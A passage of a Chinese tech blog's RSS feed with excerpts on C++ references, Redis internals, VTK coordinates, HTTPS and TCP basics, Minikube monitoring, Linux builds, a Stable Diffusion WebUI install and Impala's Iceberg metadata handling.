      <description>前言 在学习C语言时，我们通常会遇到两个数交换的问题，为了实现这一功能，我们会编写一个经典的Swap函数，如下所示：&#xA;void Swap(int *a, int *b) { int tmp = *a; *a = *b; *b = tmp; } 然而，这个Swap函数看起来可能有些繁琐，需要使用指针和解引用操作符。相比之下，C++引入了引用的概念，使得代码更为简洁：（这两个函数还构成了函数重载哦）&#xA;void Swap(int&amp;amp; a, int&amp;amp; b) { int tmp = a; a = b; b = tmp; } 并且引用避免了直接操作指针和解引用的繁琐性，调用时也更加直观，如下所示：&#xA;Swap(a, b); 虽然这个例子中看似只是减少了取地址的操作，但引用的使用远不止于此。可能你这里会有点懵圈，但没关系，接下来我们将详细探讨引用。&#xA;注意：本篇博客中的代码均基于包含头文件 &amp;lt;iostream&amp;gt; 并在使用命名空间 std 的前提下编写。&#xA;概念 引用不是新定义一个变量，而是给已存在的变量取了一个别名，编译器不会为引用变量开辟内存空间，它和它引用的变量共用同一块内存空间。比如在外面别人以你的名字来称呼你，而在家中亲人以你的小名称呼你。&#xA;用法：类型&amp;amp; 名字 = 引用的变量(对象)名字；&#xA;举个例子：&#xA;int main() { int a = 10; int&amp;amp; b = a; // b 就是 a 的引用，也就是 a 的别名 return 0; } 这样就定义了一个引用。 int main() { int a = 10; int&amp;amp; b = a; cout &amp;lt;&amp;lt; &amp;amp;a &amp;lt;&amp;lt; endl; // cout 会自动识别数据类型并输出 cout &amp;lt;&amp;lt; &amp;amp;b &amp;lt;&amp;lt; endl; b++; cout &amp;lt;&amp;lt; a &amp;lt;&amp;lt; endl; // a 的值变成了 11 return 0; } 程序运行后，可以发现 a 和 b 的地址相同，证实了它们共用同一块内存空间，进一步证明了编译器不会为引用变量单独分配内存。因此我们改变 b 的值其实就是改变 a 的值。</description>
    </item>
    <item>
      <title>【Redis-01】RedisObject基本原理及各属性结构的作用</title>
      <link>https://bchobby.github.io/posts/b106cb815b2fe271d29d5c43a9b0e68b/</link>
      <pubDate>Fri, 29 Dec 2023 18:11:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b106cb815b2fe271d29d5c43a9b0e68b/</guid>
      <description>我们知道，redis常用的5种类型底层都是通过redisObject去封装的。看一下redisObject的源码：&#xA;typedef struct redisObject { unsigned type:4; unsigned encoding:4; unsigned lru:LRU_BITS; int refcount; void *ptr; } robj; 这几个属性都很重要，下面就看下他们各自代表什么含义以及有什么作用。&#xA;1. type 这个比较熟悉，type的值对应的就是我们平时接触最多的5种数据类型，即：string、list、set、sortedset、hash，当然还包括其他一些不常用的类型，在此不再列举。我们通过 type key 这个命令，可以拿到它的值类型。&#xA;type在redis中也会对客户端输入的操作命令进行检查，校验合法性。在redis中，有两种类型的命令，一种是针对所有类型都适用的，如 del、ttl、expire等，还一种是针对特定类型的操作，比如 get、hget、lpush等，针对后者，type就可以对命令和参数的类型进行校验，校验通过会继续执行，否则就会向客户端返回错误提示。&#xA;2. encoding encoding这个值记录的每种值对象在底层的结构实现编码，什么意思呢？比如 hash 在redis的实现结构有两种类型，数据量比较少的时候使用 ziplist，数据量比较大的时候是 dict，那么encoding的值分别就是上面提到的 “ziplist” 和 “dict”。使用 object encoding key这个命令可以查询。&#xA;除了记录编码值之外，redis也会借助于encoding，实现命令的执行函数。还是上面提到的hash，比如我们执行了 hlen 获取hash长度，如果encoding标记的是ziplist，那么redis就会使用ziplist相关len函数去执行，如果encoding标记的值是dict，就会调用dict 相关的len函数去执行。&#xA;3. lru lru这个必然是和内存回收相关的了，这里它记录的是当前的值对象最后一次被程序访问的时间，通过这个时间我们可以得到该对象的空转时长，就是当前时间 - lru记录的时间，如果说redis服务器打开了 maxmemory 最大内存管理的选项，并且内存回收使用 volatile-lru 或者 allkeys-lru算法，那么服务器就会优先释放这个空转时长比较长的对象，从而回收内存。&#xA;通过object idletime key这个命令就可以得到最近一次被访问的时间，需要注意的是，这个命令本身也访问了该对象，但是却不会引起这个时间值的改变。&#xA;4. refcount refcount记录的是当前这个值对象正在被多少数据结构所共享，redis用这个属性实现了引用计算器，这个值在低版本和高版本的设定有所区别。&#xA;在低版本中，有如下场景，创建了一个键值对，key和val是 a = 100，那么此时a的值对象refcount值就是1，如果我们再新增一个键值对，key和val是b = 100，那么a和b的refcount的值都是2。但是在高版本中，同样使用object refcount key测试的时候结果截然不同，查看源码得知，在高版本中，redis把一个对象设置为共享状态的时候，就会把refcount的值设置为固定的INT_MAX，所以是2147483647。而且redis把0~9999的数值默认设定为共享的状态，当服务器使用这些值的时候，会使用共享对象而不是新创建。&#xA;虽然共享对象可以节约内存，但是如果共享一些结构比较复杂的对象，会导致对象比较的时间复杂度提高，受制于cpu计算时间的限制，redis只会对包含整数值的字符串对象进行共享。同理，如果refcount的值变为0时，表示对象没有被其他结构所共享了，它所占用的内存就会被服务器释放。</description>
    </item>
    <item>
      <title>【VTK-Rendering::Core】第一期 vtkCoordinate坐标系统</title>
      <link>https://bchobby.github.io/posts/125655142d7f91e7120a73a3c5bb66b4/</link>
      <pubDate>Fri, 29 Dec 2023 18:08:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/125655142d7f91e7120a73a3c5bb66b4/</guid>
      <description>很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ：870202403&#xA;前言 本文分享vtkCoordinate源码解析，并对VTK中的各种坐标变换进行分析，希望对各位小伙伴有所帮助！&#xA;感谢各位小伙伴的点赞+关注，小易会继续努力分享，一起进步！&#xA;你的点赞就是我的动力(＾Ｕ＾)ノ~ＹＯ&#xA;1. vtkCoordinate 在VTK的各种坐标系统中，执行坐标变换，并表示位置（Position）。也可以创建一个相互引用的vtkCoordinate对象。&#xA;vtkCoordinate对象允许引用，即一个vtkCoordinate对象A可以引用另一个vtkCoordinate对象B，vtkCoordinate对象B也可以引用其他vtkCoordinate对象，依此类推，但是不能形成自循环。这允许你创建像vtkActor2D这样的组合组，它们的位置相对于另一个。注意，在级联序列中，每个vtkCoordinate对象可以在不同的坐标系中指定!。例如在vtkCaptionActor2D的定义中AttachmentPointCoordinate在WORLD坐标系中指定；PositionCoordinate在DISPLAY坐标系中指定。&#xA;VTK中的坐标系统有如下几种：&#xA;DISPLAY坐标系统：表示在窗口上的x,y的像素值&#xA;最小值：（0， 0）表示左下角的第一个像素。&#xA;最大值：（Size，Size）表示右上角的最后一个像素&#xA;NORMALIZED DISPLAY坐标系统：表示归一化后的窗口像素值。&#xA;最小值：（0， 0）表示左下角的第一个像素。&#xA;最大值：（1，1）表示右上角的最后一个像素&#xA;VIEWPORT坐标系统：表示Viewport上的x,y像素值&#xA;最小值：（0， 0）表示左下角的第一个像素。&#xA;最大值：（Size，Size）表示右上角的最后一个像素&#xA;NORMALIZED VIEWPORT坐标系统：表示归一化后的Viewport的像素值&#xA;最小值：（0， 0）表示左下角的第一个像素。&#xA;最大值：（1，1）表示右上角的最后一个像素&#xA;POSE坐标系统：WORLD坐标系统相对于相机位置和View方向进行的移动和旋转坐标系统。&#xA;VIEW坐标系统：相机所看到的坐标系统，取值为【-1，1】。x,y值表示像平面上的位置，Z值表示到相机的距离。相机负责将WORLD坐标系变换到VIEW坐标系。&#xA;WORLD坐标系统：世界坐标系&#xA;USERDEFINED坐标系统：表示在用户定义的坐标系统下的值。&#xA;2. VTK中各坐标系统关系 Model坐标系统：指定义模型时所采用的坐标系统。&#xA;Ｗorld坐标系统：放置Actor的三维空间系统。&#xA;vtkActor负责将模型从Model坐标系转化到World坐标系。&#xA;VTK中一个窗口可以放置多个Renderer（即ViewPort）。&#xA;renderer1-&amp;gt;SetViewport(0.,0.,0.5,0.5); renderer1-&amp;gt;SetViewport(0.,0.5,0.5,1.0); renderer1-&amp;gt;SetViewport(0.5,0.,1.,0.5); renderer1-&amp;gt;SetViewport(0.5,0.5,1.0,1.0); 3. vtkCoordinate重要参数 3.1 设置/获取当前的坐标系统 //@{ /** * Set/get the coordinate system which this coordinate * is defined in. The options are Display, Normalized Display, * Viewport, Normalized Viewport, View, and World.</description>
    </item>
    <item>
      <title>鸿鹄电子招投标系统：基于Spring Boot、Mybatis、Redis和Layui的企业电子招采平台源码与立项流程</title>
      <link>https://bchobby.github.io/posts/f9c4ec7720a6d002a7222b8f9d50328b/</link>
      <pubDate>Fri, 29 Dec 2023 18:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9c4ec7720a6d002a7222b8f9d50328b/</guid>
      <description>在数字化时代，企业需要借助先进的数字化技术来提高工程管理效率和质量。招投标管理系统作为企业内部业务项目管理的重要应用平台，涵盖了门户管理、立项管理、采购项目管理、采购公告管理、考核管理、报表管理、评审管理、企业管理、采购管理和系统管理等多个方面。该系统以项目为主线，从项目立项到项目归档，实现数据信息的实时共享、规范化管理和有效监控。它通过有效沟通、高效流转与协作，实现工作协同、数据集中化，减少出错率，提高招标工作效率。&#xA;功能描述&#xA;1、门户管理：所有用户可在门户页面查看所有的公告信息及相关的通知信息。主要板块包含：招标公告、非招标公告、系统通知、政策法规。&#xA;2、立项管理：企业用户可对需要采购的项目进行立项申请，并提交审批，查看所有的立项信息。主要功能包含：招标立项申请、非招标立项申请、采购立项管理。&#xA;3、采购项目管理：可对项目采购过程全流程管理，包含功能有：评审人员的选取/抽取、基准价维护、供应商缴费审核、投标过程记录查询、供应商报价维护、项目评审查询、线下项目管理、采购计划制定与维护。&#xA;4、采购公告管理：可对项目采购全过程所需发布的公告进行管理。主要功能包含：招标公告管理、变更公告管理、终止公告管理、中标候选人公告管理、中标公告管理、采购公告管理、采购结果公告管理、单一来源采购结果公告管理。&#xA;5、考核管理：对已完成招标采购项目的供应商和代理机构进行考核管理，主要功能包含：项目考核分派管理、项目考核查询、项目考核管理。&#xA;6、报表管理：以不同维度统计系统的项目信息、供应商信息、评审专家信息。主要功能包含：采购项目分析、评审人员情况分析、供应商情况分析、采购情况分析。&#xA;7、评审管理：对采购过程中所有需要评审的项目进行评审管理。&#xA;8、企业管理：供应商可维护企业基本信息，对企业发布的招标采购项目进行报名投标工作。主要功能包含：基本信息管理、项目管理、投诉建议管理。&#xA;9、采购管理：招标代理机构可查看项目基本信息，并根据业主方需求进行招标工作，发布招标等公告，主要内容包含：项目管理、公告管理。&#xA;10、系统管理：管理系统基础信息，包含系统使用的菜单、角色、用户、机构、数据字典信息。&#xA;11、基础数据管理：对支持系统使用过程中需要用到的基础数据维护及管理。主要功能包含：公告模板管理、评审人员管理、第三方机构管理、供应商管理、采购类别设置、评审模板管理、考核模板管理。&#xA;招投标管理系统-适合于招标代理、政府采购、企业采购、工程交易等业务的企业&#xA;招投标管理系统是一个用于内部业务项目管理的应用平台。以项目为主线，从项目立项，资格预审，标书编制审核，招标公告，项目开标，项目评标，项目公示，确定中标人，项目归档， 通过这个平台进行有效沟通、高效流转与协作。实现项目数据信息实时共享，规范化管理及有效监控，实现工作协同，工作网络化、数据集中化，减少出错率，提高招标工作效率。&#xA;招投标管理系统是一个适合招标代理、政府采购、企业采购和工程交易等业务的企业使用的应用平台。它通过以项目为主线的管理方式，实现了从项目立项到项目归档的全面管理。该系统不仅提供了多种管理功能，如立项管理、采购项目管理、采购公告管理等，还实现了对项目数据信息的实时共享、规范化管理和有效监控。这有助于企业提高招标工作效率和质量，减少出错率，实现工作协同和数据集中化。</description>
    </item>
    <item>
      <title>Shell脚本-bin/bash: 解释器错误: 没有那个文件或目录-完整路径执行-“/”引发的脑裂</title>
      <link>https://bchobby.github.io/posts/f28d89fab99ec2a2382bfd6b140f7bd0/</link>
      <pubDate>Fri, 29 Dec 2023 17:59:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f28d89fab99ec2a2382bfd6b140f7bd0/</guid>
      <description>引起该不适的一种可能以及解决方案，网上较多，比如：&#xA;但按以上方式操作，并经过查看，发现仍然未能解决问题。&#xA;因为两种方式执行，有一种能成功，有一种不能，刚开始未怀疑是文件问题，最后经测试，发现问题原因以及修复方法，记录如下：&#xA;注意下图标红两处的差异，差异一个“/”。&#xA;至此，Shell脚本-bin/bash: 解释器错误: 没有那个文件或目录-完整路径执行时提示错误问题得到解决。</description>
    </item>
    <item>
      <title>python学习 21 excel分列</title>
      <link>https://bchobby.github.io/posts/2f29461cb0d81dad180df69d764e713d/</link>
      <pubDate>Fri, 29 Dec 2023 17:45:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f29461cb0d81dad180df69d764e713d/</guid>
      <description>简单做了个模板，能干这个：&#xA;指定sheet中某列数据进行按需拆分，拆分后新建一个test的sheet，将数据分别存入test的不同列中。&#xA;import os import xlwings as xw import re #excel路径 path=r&#39;C:\Users\xxx\Desktop\123.xlsx&#39; #设置需要分列的sheet名 sheetname=&#39;Sheet1&#39; #设置需要分列的列名 colname=&#39;B&#39; #开始单元格 rowb=2 #结束单元格 rowe=25 def excel分列(path): excelapp=xw.App(visible=False, add_book=False) #打开excel excel = excelapp.books.open(path) #获取sheets sheet = excel.sheets #增加一个拆分用sheet，test if sheet[0].name !=&#39;test&#39;: sheet.add(&#39;test&#39;, before=sheet[0].name) #print(sheet[0].name) sheet2 = excel.sheets[&#39;Sheet1&#39;] #设置拆分条件，这里以复合字串为例，型如：你好123+好的234，拆成：你好，123，+，好的234 num1=re.compile(&#39;\w.[0-9]&#39;) #print(re.findall(num1,sheet2.range(&#39;b2:b25&#39;).value[0])[0][:-1]) num2=re.compile(&#39;\d++&#39;) #print(re.findall(num2,sheet2.range(&#39;b2:b25&#39;).value[0])[0]) num3=sheet2.range(&#39;b2:b25&#39;).value[0].split(&#39;+&#39;) #print(num3[1]) t1=[] t2=[] t3=[] t4=[] #拆分取值 for i in sheet2.range(colname+str(rowb)+&#39;:&#39;+colname+str(rowe)).value: t1.append(re.findall(num1,i)[0][:-1]) t2.append(re.findall(num2,i)[0]) t3.append(&#39;+&#39;) t4.append(i.split(&#39;+&#39;)[1]) #print(t1,t2,t3,t4) #将拆分数据填入test中 sheet3=excel.sheets[&#39;test&#39;] for i in range(len(t1)): sheet3.</description>
    </item>
    <item>
      <title>从DNS到HTTPS</title>
      <link>https://bchobby.github.io/posts/83c3a5843f9da3791b01fc830c674169/</link>
      <pubDate>Fri, 29 Dec 2023 17:45:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83c3a5843f9da3791b01fc830c674169/</guid>
      <description>一、HTTPS定义 超文本传输安全协议（HyperText Transfer Protocol Secure，缩写：HTTPS）是一种通过计算机网络进行安全通信的传输协议。&#xA;HTTPS经由HTTP进行通信，利用SSL/TLS来加密数据包。其主要目的，是提供对网站服务器的身份认证，保护交换资料的隐私与完整性。&#xA;二、HTTPS流程 一般而言HTTPS需要基于DNS域名系统（Domain Name System），它作为将域名和IP地址相互映射的一个分布式数据库，能够使人更方便地访问互联网。DNS使用UDP端口53；&#xA;当前，对于每一级域名长度的限制是63个字符，域名总长度则不能超过253个字符。&#xA;域名解析过程 操作系统会首先检查自己本地的hosts文件是否有该网址映射关系，如果有就直接调用ip地址映射完成解析；&#xA;查找本地dns解析器缓存是否有该网址映射关系，如果有就直接返回完成域名解析；&#xA;查询tcp/ip参数中设置的首选dns服务器，此服务器收到查询时，如果要查询的域名包含在本地配置区域资源中，则返回解析结果给客户机，完成域名解析；&#xA;如果该服务器缓存了此网址映射关系，则调用这个ip地址映射，完成域名解析；&#xA;根据本地dns服务器的设置进行查询，当未使用转发模式，本地dns就把请求发至13台根dns服务器，根dns服务器收到请求后会判断这个域名是谁来授权管理，并返回一个负责该顶级域名服务器的一个ip。当本地dns服务器收到这个地址后，就会找到该域名服务器，重复上面的动作进行查询直到找到该域名主机；&#xA;如果使用转发模式，此dns服务器就会把请求转发至上一级dns服务器，由上一级服务器进行解析，如此循环。&#xA;HTTP组成 协议组成：&#xA;起始行（start line），描述请求或响应的基本信息（方法&amp;amp;空格&amp;amp;url&amp;amp;空格&amp;amp;版本号&amp;amp;回车换行）；&#xA;头部字段（header），使用key-value形式更详细的说明报文；&#xA;消息正文（entity），实际传输的数据；&#xA;起始行和头部字段合并成为请求头或响应头，即Header；&#xA;消息正文即body，Header与body之间有一个空行（CRLF）；&#xA;请求方法：&#xA;GET获取资源，请求访问已被uri识别的资源；&#xA;POST传输实体；&#xA;PUT传输文件；&#xA;HEAD获得响应首部，与GET相同，只是不返回报文主体；&#xA;DELETE删除文件；&#xA;OPTIONS询问支持的方法，用来查询针对uri指定资源支持的方法；TRACE追踪路径，服务端将之前的请求通信环返还给客户端；CONNECT要求使用隧道协议连接代理，实现用隧道协议进行TCP通信。&#xA;TCP/UDP TCP（Transmission Control Protocol）是一种面向连接的、可靠的、基于字节流的传输层（Transport layer）通信协议，当客户端和服务端彼此传输数据前，必须先在双方之间建立连接，之后才能传输数据；&#xA;TCP协议使用超时重传、数据确认等方式来确保数据包被正确的发送；&#xA;UDP（User Datagram Protocol）是一种无连接、不可靠、基于数据包的用户数据协议；&#xA;UDP传输数据包前不需要在客户端和服务端之间建立连接，只是把包发出去；&#xA;容易丢包，效率高；&#xA;TCP连接流程：&#xA;客户端发送syn包（syn=x）到服务端，并进入SYN_SENT状态，等待服务端确认；&#xA;服务端收到syn包，必须确认客户的SYN（ack=x+1），同时自己也发送一个SYN包（syn=y），即SYN+ACK包，此时服务器进入SYN_RECV状态；&#xA;客户端收到服务端的SYN+ACK包，向服务端发送确认包ACK（ack=y+1），客户端和服务端进入ESTABLISHED（TCP连接成功）状态；&#xA;TCP断开流程：&#xA;客户端向服务端发送的报文中FIN设置为1，请求与服务端断开连接；&#xA;服务端收到FIN报文，返回确认应答包（ACK）；&#xA;服务端发送FIN报文段，请求关闭连接；&#xA;客户端想服务端发送ACK报文段，服务端收到后直接断开连接，客户端等待2ms后断开；&#xA;一般而言使用UDP时通过广播找到目标地址，然后点对点进行数据传输。&#xA;HTTPS加密流程 客户端发起一个HTTPS请求，请求服务器公钥，连接443端口，还包含此时客户端生成的随机数（Client Random）；&#xA;服务端收到请求后生成一对公私钥和一个随机数（Server Random），把公钥以数字证书的形式加上刚才生成的随机数（Server Random）返回给客户端；证书中有一个公钥（CA）来加密信息，私钥（CA）由服务端持有；&#xA;客户端收到数字证书后，先验证证书的合法性；&#xA;验证通过后，客户端生成一个随机值（pre-master），并用服务器生成的公钥加密，发给服务端；&#xA;服务端收到随机值（pre-master）后，使用私钥进行解密，通过（Client Random、Server Random、pre-master）随机数合成会话密钥（对称加密）；&#xA;双方使用该密钥对传输信息加密；&#xA;客户端和服务端相互发送摘要信息（Encrypted Handshake Message（Finishd）），使用会话密钥加密验证是否被篡改过。</description>
    </item>
    <item>
      <title>【Minikube &amp; Prometheus】基于Prometheus &amp; Grafana监控由Minikube创建的K8S集群</title>
      <link>https://bchobby.github.io/posts/531305328defde1c4db2d646b26baa00/</link>
      <pubDate>Fri, 29 Dec 2023 17:42:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/531305328defde1c4db2d646b26baa00/</guid>
      <description>文章目录 1. 系统信息参数说明2. Docker安装3. minikube安装4. kubectl安装5. Helm安装6. 启动Kubernetes集群v1.28.37. 使用helm安装Prometheus8. 使用helm安装Grafana9. Grafana的Dashboard设定10. 设定Prometheus数据源11. 导入Kubernetes Dashboard12. 实验过程中的常见问题13. 参考链接 1. 系统信息参数说明 [root@minikube ~]# uname -a Linux minikube 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 17:09:15 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux [root@minikube ~]# hostnamectl Static hostname: minikube Icon name: computer-vm Chassis: vm 🖴 Machine ID: 8f112fe303914f1e8e27c6b68d205117 Boot ID: 75046d09558f47d9a823fff033cb1fe1 Virtualization: vmware Operating System: Rocky Linux 9.2 (Blue Onyx) CPE OS Name: cpe:/o:rocky:rocky:9::baseos Kernel: Linux 5.</description>
    </item>
    <item>
      <title>【Linux 程序】1. 程序构建</title>
      <link>https://bchobby.github.io/posts/e98f8f48d41b482a83ecacd768f08ee6/</link>
      <pubDate>Fri, 29 Dec 2023 17:32:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e98f8f48d41b482a83ecacd768f08ee6/</guid>
      <description>文章目录 【 1. 配置 】【 2. 编译 】makefile编写的要点makefile中的全局自变量CMake编译依赖的库g++编译 【 3. 安装 】 一般源代码提供的程序安装需要通过配置、编译、安装三个步骤； 配置。检查当前环境是否满足要安装软件的依赖关系，以及设置程序安装所需要的初始化信息，比如安装路径，需要安装哪些组件；配置完成，会生成 makefile文件 供第二步make使用。编译。是对源文件进行编译链接生成可执行程序。安装。将生成的可执行文件拷贝到配置时设置的初始路径下。 【 1. 配置 】 查询可用的配置选项 ./configure --help 配置路径&#xA;–prefix 是配置使用的最常用选项，设置程序安装的路径。 ./configure --prefix=/usr/local/snmp 【 2. 编译 】 编译使用make编译：&#xA;通过-f选项显示指定需要编译的makefile；如果待使用makefile文件在当前路径，且文件名为以下几个，则不用显示指定。 make -f myMakefile makefile编写的要点 必须满足第一条规则，满足后停止。除第一条规则，其他无顺序。 makefile中的全局自变量 $@目标文件名@^所有前提名，除副本@＋所有前提名，含副本@＜一个前提名@？所有新于目标文件的前提名@*目标文件的基名称 CMake CMake 是一个跨平台的安装（编译）工具，可以用简单的语句来描述所有平台的安装(编译过程)。能够输出各种各样的makefile或者project文件。使用CMake，能够使程序员从复杂的编译连接过程中解脱出来。它使用一个名为 CMakeLists.txt 的文件来描述构建过程，可以生成标准的构建文件，如 Unix/Linux 的 Makefile 或Windows Visual C++ 的 projects/workspaces 。&#xA;编译依赖的库 链接多库时，多个库之间如果有依赖，需要注意书写的顺序，右边是左边的前提。makefile编译过程中所依赖的非标准库和头文件路径需要显示指明: CPPFLAGS -I标记非标准头文件存放路径 LDFLAGS -L标记非标准库存放路径 如果CPPFLAGS和LDFLAGS已在用户环境变量中设置并且导出（使用export关键字），就不用再显示指定 make -f myMakefile LDFLAGS=&#39;-L/var/xxx/lib -L/opt/mysql/lib&#39; CPPFLAGS=&#39;-I/usr/local/libcom/include -I/usr/local/libpng/include&#39; g++编译 基本语法 -o：指明生成的目标文件。-g：添加调试信息。-E：查看中间文件。 g++ -o unixApp unixApp.</description>
    </item>
    <item>
      <title>无需翻墙｜Stable Diffusion WebUI 安装｜AI绘画</title>
      <link>https://bchobby.github.io/posts/8b4c0b0afd43271eba623595c2650173/</link>
      <pubDate>Fri, 29 Dec 2023 17:31:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b4c0b0afd43271eba623595c2650173/</guid>
      <description>前言 最近终于有机会从围墙里往外看，了解到外面的世界已经有了天翻地覆的变化，感叹万千，笔者在本地mac，windows，linux，docker部署了不下20遍后，整理出来的linux极简避坑安装方案，供大家参考学习。&#xA;注 系统：linux&#xA;用户：py&#xA;python：3.10&#xA;涉及工具：wget、miniconda、git&#xA;Stable Diffusion WebUI简称：webui&#xA;安装目录：/data/&#xA;github地址 https://github.com/AUTOMATIC1111/stable-diffusion-webui&#xA;安装 miniconda 由于stable-diffusion-webui的安装需要特定的python版本，所以使用工具管理python库，且由于Anaconda过于臃肿，所以选择miniconda&#xA;# 安装wget工具，确保可以使用下载功能 yum install -y wget # 安装miniconda wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh # 执行权限 chmod +x Miniconda3-latest-Linux-x86_64.sh # 新建用户 py ## 由于webui默认不允许root用户执行，且新建用户更好的管理python useradd py # 新建目录 /data # 将安装脚本移动到/data，方便管理 mv Miniconda3-latest-Linux-x86_64.sh /data/ #将data目录授权给py chown -R py:py /data # 安装miniconda # 切换用户 su - py cd /data ./Miniconda3-latest-Linux-x86_64.sh ##遇到输入写yes，其他按回车，安装完成 #安装完成后，默认没有（base）前缀，是环境还未生效，需要手动source source /home/py/.bashrc # 就会发现控制台由 [py@localhost ~]$ #变成了 (base) [py@localhost ~]$ # miniconda 安装完成 python 环境 # 使用conda 安装webui需要使用的环境 conda create --name sd python=3.</description>
    </item>
    <item>
      <title>Impala4.x源码阅读笔记（三）——Impala如何管理Iceberg表元数据</title>
      <link>https://bchobby.github.io/posts/ea0701dd7b8c7a8e36192d13878e749d/</link>
      <pubDate>Fri, 29 Dec 2023 17:14:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea0701dd7b8c7a8e36192d13878e749d/</guid>
      <description>前言 本文为笔者个人阅读Apache Impala源码时的笔记，仅代表我个人对代码的理解，个人水平有限，文章可能存在理解错误、遗漏或者过时之处。如果有任何错误或者有更好的见解，欢迎指正。&#xA;上一篇文章Impala4.x源码阅读笔记（二）——Impala如何高效读取Iceberg表简单介绍了Iceberg表的基本情况和Impala是如何对其进行扫描的。这一篇则从元数据的角度对Impala如果管理Iceberg元数据进行一些简单的分析，这里的Iceberg元数据不是指Iceberg的那些元数据文件，那些是Iceberg API负责管理的，这里的元数据是指Iceberg表在Impala中的那些内存对象。&#xA;为了提升查询性能，Impala本身有一套比较复杂的元数据管理机制，这套机制以Catalogd服务进程为核心，实现了元数据在集群内的集中管理。在一个完整的Impala集群中，Catalogd服务进程主要担任了两个角色，首先是一个自动化的元数据缓存，它会负责缓存并自动同步Hive Metastore中的元数据，并将其广播给集群中其他负责处理查询的Coordinator节点，这使得Coordinator可以省去每次查询时和Hive Metastore（HMS）以及HDFS Namenode（NN）的交互，从而缩短了查询耗时。Catalogd的另一个角色是一个集中式的DDL执行者，其他Coordinator节点接收到的DDL最终都会以RPC的形式交由Catalogd进行执行，这样使得集群内部的元数据统一得到了保证。&#xA;Iceberg表作为一种表格式而非文件格式，其核心目标是高效且多功能地管理大量的数据文件，为了达成这一目标，Iceberg表的元数据相较于Hive表也更加复杂，从Impala支持Iceberg表的代码大部分都是元数据相关的也能看出这一点。关于Iceberg元数据管理的代码十分庞大，想要在一篇文章内全面地分析一遍是不太现实的，所以本文首先还是整体地、笼统地描述一下Iceberg表元数据的全貌，然后着重对元数据管理的两个关键环节——Iceberg表的加载和创建进行分析。&#xA;Iceberg表的相关接口 由于Impala本身元数据管理的特性和Iceberg表元数据的特殊性，在Impala支持Iceberg表各项功能的过程中定义了很多类型，我们首先看一下Iceberg相关类的整体UML图：&#xA;图中画出了Iceberg表在Impala中的主要相关接口和类以及其之间的实现或继承关系，其中绿色背景的就是与Iceberg表直接相关的，每个接口和类中都只列举了个别关键的成员变量和方法。在介绍具体的类之前我们先看一下其中的几个接口。&#xA;FeTable 首先是Impala中所有类型的表都要实现的接口FeTable，它定义了Impala Frontend与各类型表交互的一些基本操作，比如获取获取库表名、数据列列表、所有者等，其中还包括了可以获取org.apache.hadoop.hive.metastore.api.Table对象的getMetaStoreTable()方法。因为Impala对HMS是强依赖的，基本上所有元数据都来自HMS，为了与HMS进行元数据交互，Impala中所有类型的表中都包括一个HMS中表对象也就是org.apache.hadoop.hive.metastore.api.Table。它为Impala的表提供了基本的元数据，比如库表名、字段信息和表属性properties等。Iceberg表在Impala也不例外，需要在HMS注册了才能被Impala查询。当然Iceberg表本身并不一定依赖HMS，比如使用HadoopCatalog创建的Iceberg表只依赖一个像HDFS一样的支持原子重命名文件的文件系统而已。对于这种Iceberg表需要先在Impala中通过创建外表的方式在HMS进行注册才能被Impala元数据管理所接受。&#xA;FeFsTable FeFsTable是Impala中所有基于文件系统的表类型都要实现的接口，它继承了FeTable接口，作用也是类似的。像存储在HDFS、S3这种常见的文件系统或存储服务上的表都属于FeFsTable，Iceberg表自然也是FeFsTable。在FeTable的基础之上，FeFsTable额外定义了许多和文件系统相关的方法，比如获取文件系统类型、表位置和文件系统对象FileSystem等。&#xA;FeIcebergTable FeIcebergTable是Impala中Iceberg表类型都要实现的接口，继承了FeFsTable并额外定义了关于Iceberg的通用方法。其中有几个关键方法需要重点介绍：&#xA;getFeFsTable()，它会返回Iceberg对象内置的一个FeFsTable对象，这个对象会被用于将Iceberg表传递给Impala Backend。我们知道在Impala中Frontend负责制定执行计划、Backend负责执行，两者分别由Java和C++开发，之间主要通过Thrift结构体传递数据，这些数据也包括了查询的执行计划。而Iceberg表在执行期间与普通HDFS表实际上并没有显著差别，可以说都只是一系列规划好的数据文件而已。因此，为了复用Backend中现有的HDFS表扫描代码，Iceberg表对象都内置了一张普通HDFS表对象，在序列化为Thrift结构体传递给Backend时就使用这个内置的FeFsTable对象的相关方法将自身“转变”为HDFS表。&#xA;getIcebergApiTable()，它会返回Iceberg表对象对应的Iceberg API中的表对象org.apache.iceberg.Table，这是Iceberg API中的表示Iceberg表的接口，它提供了Iceberg表的许多重要API，比如获取快照、Schema和扫描计划。依靠这些接口，Impala可以进行Iceberg表的时间旅行查询、模式演进、谓词下推和获取数据文件列表等操作。&#xA;getIcebergCatalog()，它会返回Iceberg表的Catalog类型，目前Impala支持的Iceberg Catalog类型有HadoopTables、HadoopCatalog、HiveCatalog和Catalogs。Iceberg的Catalog是用于追踪Iceberg表的，它主要负责储存Iceberg表最近元数据文件的位置，可以说是Iceberg表元数据的元数据。换句话说如果说Iceberg表是管理一系列数据文件并告诉我们数据文件在哪里，那么Iceberg Catalog的作用就是管理一系列Iceberg表并告诉我们Iceberg表在哪里。如果Iceberg表的最近元数据位置也直接储存在文件系统的一个文件中，则对应HadoopTables。如果文件系统中有一个专门的Catalog目录，Iceberg表的元数据位置由其负责管理，则对应HadoopCatalog。如果使用HMS储存Iceberg表的最近元数据位置，则对应HiveCatalog。而Catalogs接口相当于一种复合的自动Catalog，它依赖配置文件和表属性自动识别Iceberg表的Catalog类型。&#xA;接口FeIcebergTable可以说是Iceberg表在Impala中的关键抽象，从图中也可以看到许多Iceberg表的相关类实现了该接口。&#xA;Iceberg表的相关类 